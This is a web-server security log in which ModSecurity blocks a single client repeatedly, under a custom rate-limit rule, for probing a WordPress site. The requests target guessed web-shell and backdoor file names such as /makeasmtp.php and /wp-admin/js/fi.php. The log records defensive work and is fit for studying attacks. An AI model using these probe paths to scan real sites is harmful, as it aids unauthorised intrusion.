[Tue Apr 21 16:36:45.769406 2026] [:error] [pid 35320:tid 35330] [client 98.71.67.66:24801] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aec3HYJW6fdXWO6agMFAngAAAAA"]
[Tue Apr 21 16:36:47.229479 2026] [:error] [pid 35320:tid 35340] [client 98.71.67.66:1371] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aec3H4JW6fdXWO6agMFAogAAAAo"]
[Tue Apr 21 16:36:47.854813 2026] [:error] [pid 35321:tid 35407] [client 98.71.67.66:16519] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aec3HzeHLhVUuu8cVXzgFQAAAFc"]
[Tue Apr 21 16:36:48.553272 2026] [:error] [pid 35321:tid 35397] [client 98.71.67.66:1203] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aec3IDeHLhVUuu8cVXzgGAAAAE0"]
[Tue Apr 21 16:36:49.392594 2026] [:error] [pid 54080:tid 54093] [client 98.71.67.66:34891] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aec3IYzEbQHHxtmWbaZ2MAAAAss"]
[Tue Apr 21 16:36:50.124072 2026] [:error] [pid 4777:tid 4811] [client 98.71.67.66:34935] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aec3IqxXur6bykKyLZSPvAAAARc"]
[Tue Apr 21 16:36:51.161171 2026] [:error] [pid 4777:tid 4799] [client 98.71.67.66:16561] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aec3I6xXur6bykKyLZSPwAAAAQs"]
[Tue Apr 21 16:36:51.926555 2026] [:error] [pid 53832:tid 53835] [client 98.71.67.66:34279] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aec3I9zkuxsE_OhM9UI-NAAAAkA"]
[Tue Apr 21 16:36:52.590433 2026] [:error] [pid 35321:tid 35397] [client 98.71.67.66:1182] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aec3JDeHLhVUuu8cVXzgKAAAAE0"]
[Tue Apr 21 16:36:53.411794 2026] [:error] [pid 4823:tid 4854] [client 98.71.67.66:16569] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aec3Jfc8mke3PfHqsxHaGgAAAYE"]
[Tue Apr 21 16:36:54.196318 2026] [:error] [pid 4823:tid 4859] [client 98.71.67.66:30681] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aec3Jvc8mke3PfHqsxHaIgAAAYY"]
[Tue Apr 21 16:36:55.152083 2026] [:error] [pid 35321:tid 35397] [client 98.71.67.66:23448] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aec3JzeHLhVUuu8cVXzgNAAAAE0"]
[Tue Apr 21 16:36:56.161507 2026] [:error] [pid 35320:tid 35334] [client 98.71.67.66:30678] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aec3KIJW6fdXWO6agMFArwAAAAQ"]
[Tue Apr 21 16:36:56.717984 2026] [:error] [pid 54080:tid 54102] [client 98.71.67.66:34928] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aec3KIzEbQHHxtmWbaZ2PQAAAtQ"]
[Tue Apr 21 16:36:57.431531 2026] [:error] [pid 4823:tid 4873] [client 98.71.67.66:34943] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aec3Kfc8mke3PfHqsxHaKQAAAZQ"]
[Tue Apr 21 16:36:58.031401 2026] [:error] [pid 4823:tid 4859] [client 98.71.67.66:19182] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aec3Kvc8mke3PfHqsxHaLgAAAYY"]
[Tue Apr 21 16:36:59.013943 2026] [:error] [pid 53832:tid 53836] [client 98.71.67.66:16572] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aec3K9zkuxsE_OhM9UI-VwAAAkE"]
[Tue Apr 21 16:36:59.756420 2026] [:error] [pid 53832:tid 53835] [client 98.71.67.66:1402] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aec3K9zkuxsE_OhM9UI-XAAAAkA"]
[Tue Apr 21 16:37:00.392966 2026] [:error] [pid 53978:tid 53980] [client 98.71.67.66:65249] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aec3LJ1ivsR4hcOSQbbCNwAAAoA"]
[Tue Apr 21 16:37:01.469547 2026] [:error] [pid 4777:tid 4809] [client 98.71.67.66:1205] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aec3LaxXur6bykKyLZSPywAAARU"]
[Tue Apr 21 16:37:02.171677 2026] [:error] [pid 35321:tid 35399] [client 98.71.67.66:24792] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aec3LjeHLhVUuu8cVXzgTwAAAE8"]
[Tue Apr 21 16:37:02.727361 2026] [:error] [pid 4777:tid 4800] [client 98.71.67.66:1402] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aec3LqxXur6bykKyLZSPzQAAAQw"]
[Tue Apr 21 16:37:03.683463 2026] [:error] [pid 53832:tid 53859] [client 98.71.67.66:42858] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aec3L9zkuxsE_OhM9UI-dgAAAlg"]
[Tue Apr 21 16:37:04.438102 2026] [:error] [pid 35320:tid 35337] [client 98.71.67.66:26921] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aec3MIJW6fdXWO6agMFAvAAAAAc"]
[Tue Apr 21 16:37:05.274474 2026] [:error] [pid 35320:tid 35340] [client 98.71.67.66:24830] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aec3MYJW6fdXWO6agMFAwwAAAAo"]
[Tue Apr 21 16:37:05.882397 2026] [:error] [pid 35320:tid 35339] [client 98.71.67.66:49394] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aec3MYJW6fdXWO6agMFAxwAAAAk"]
[Tue Apr 21 16:37:06.600147 2026] [:error] [pid 4823:tid 4863] [client 98.71.67.66:34903] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aec3Mvc8mke3PfHqsxHaPAAAAYo"]
[Tue Apr 21 16:37:07.491620 2026] [:error] [pid 35321:tid 35407] [client 98.71.67.66:49367] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aec3MzeHLhVUuu8cVXzgagAAAFc"]
[Tue Apr 21 16:37:08.319204 2026] [:error] [pid 35320:tid 35345] [client 98.71.67.66:30142] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aec3NIJW6fdXWO6agMFAzAAAAA8"]
[Tue Apr 21 16:37:09.166136 2026] [:error] [pid 53832:tid 53849] [client 98.71.67.66:1196] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aec3NdzkuxsE_OhM9UI-iQAAAk4"]
[Tue Apr 21 16:37:09.872489 2026] [:error] [pid 53832:tid 53848] [client 98.71.67.66:1214] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aec3NdzkuxsE_OhM9UI-jwAAAk0"]
[Tue Apr 21 16:37:10.533704 2026] [:error] [pid 54080:tid 54096] [client 98.71.67.66:24814] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aec3NozEbQHHxtmWbaZ2QQAAAs4"]
[Tue Apr 21 16:37:11.413082 2026] [:error] [pid 54080:tid 54106] [client 98.71.67.66:49378] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aec3N4zEbQHHxtmWbaZ2QwAAAtg"]
[Tue Apr 21 16:37:12.037604 2026] [:error] [pid 35320:tid 35349] [client 98.71.67.66:49388] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aec3OIJW6fdXWO6agMFA3wAAABM"]
[Tue Apr 21 16:37:12.579824 2026] [:error] [pid 53731:tid 53737] [client 98.71.67.66:65217] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aec3OF2I9THUR-bRVGzn5gAAAgI"]
[Tue Apr 21 16:37:13.219258 2026] [:error] [pid 35415:tid 35448] [client 98.71.67.66:1364] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aec3OUiqDinI4_22zzhfgAAAANU"]
[Tue Apr 21 16:37:13.897345 2026] [:error] [pid 35321:tid 35394] [client 98.71.67.66:1183] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aec3OTeHLhVUuu8cVXzgigAAAEo"]
[Tue Apr 21 16:37:14.805381 2026] [:error] [pid 53832:tid 53856] [client 98.71.67.66:49348] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aec3OtzkuxsE_OhM9UI-lAAAAlU"]
[Tue Apr 21 16:37:15.409521 2026] [:error] [pid 53731:tid 53752] [client 98.71.67.66:30691] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aec3O12I9THUR-bRVGzn6wAAAhA"]
[Tue Apr 21 16:37:16.201356 2026] [:error] [pid 35320:tid 35336] [client 98.71.67.66:16559] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aec3PIJW6fdXWO6agMFA7wAAAAY"]
[Tue Apr 21 16:37:16.886745 2026] [:error] [pid 35320:tid 35338] [client 98.71.67.66:30113] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aec3PIJW6fdXWO6agMFA9QAAAAg"]
[Tue Apr 21 16:37:17.915310 2026] [:error] [pid 35320:tid 35352] [client 98.71.67.66:16531] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "aec3PYJW6fdXWO6agMFA_AAAABY"]
[Tue Apr 21 16:37:18.884715 2026] [:error] [pid 53832:tid 53837] [client 98.71.67.66:16543] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aec3PtzkuxsE_OhM9UI-nAAAAkI"]
[Tue Apr 21 16:37:19.669066 2026] [:error] [pid 35320:tid 35331] [client 98.71.67.66:65247] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aec3P4JW6fdXWO6agMFBAQAAAAE"]
[Tue Apr 21 16:37:20.338436 2026] [:error] [pid 35320:tid 35345] [client 98.71.67.66:16554] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aec3QIJW6fdXWO6agMFBBQAAAA8"]
[Tue Apr 21 16:37:21.051064 2026] [:error] [pid 35320:tid 35343] [client 98.71.67.66:34296] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aec3QYJW6fdXWO6agMFBCgAAAA0"]
[Tue Apr 21 16:37:21.895993 2026] [:error] [pid 53731:tid 53754] [client 98.71.67.66:19173] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "aec3QV2I9THUR-bRVGzn7QAAAhI"]
[Tue Apr 21 16:37:22.524850 2026] [:error] [pid 53978:tid 53982] [client 98.71.67.66:49391] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "aec3Qp1ivsR4hcOSQbbCSgAAAoI"]
[Tue Apr 21 16:37:23.497489 2026] [:error] [pid 35320:tid 35347] [client 98.71.67.66:1156] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "aec3Q4JW6fdXWO6agMFBFgAAABE"]
[Tue Apr 21 16:37:24.398001 2026] [:error] [pid 53978:tid 53990] [client 98.71.67.66:34939] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "aec3RJ1ivsR4hcOSQbbCTAAAAoo"]
[Tue Apr 21 16:37:25.605177 2026] [:error] [pid 35320:tid 35348] [client 98.71.67.66:49379] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aec3RYJW6fdXWO6agMFBHwAAABI"]
[Tue Apr 21 16:37:26.534436 2026] [:error] [pid 4777:tid 4804] [client 98.71.67.66:1208] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aec3RqxXur6bykKyLZSP1AAAARA"]
[Tue Apr 21 16:37:27.332122 2026] [:error] [pid 35321:tid 35389] [client 98.71.67.66:1175] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aec3RzeHLhVUuu8cVXzg1gAAAEU"]
[Tue Apr 21 16:37:28.019738 2026] [:error] [pid 4823:tid 4858] [client 98.71.67.66:24821] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aec3SPc8mke3PfHqsxHaTwAAAYU"]
[Tue Apr 21 16:37:28.627358 2026] [:error] [pid 54080:tid 54084] [client 98.71.67.66:49402] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aec3SIzEbQHHxtmWbaZ2UAAAAsI"]
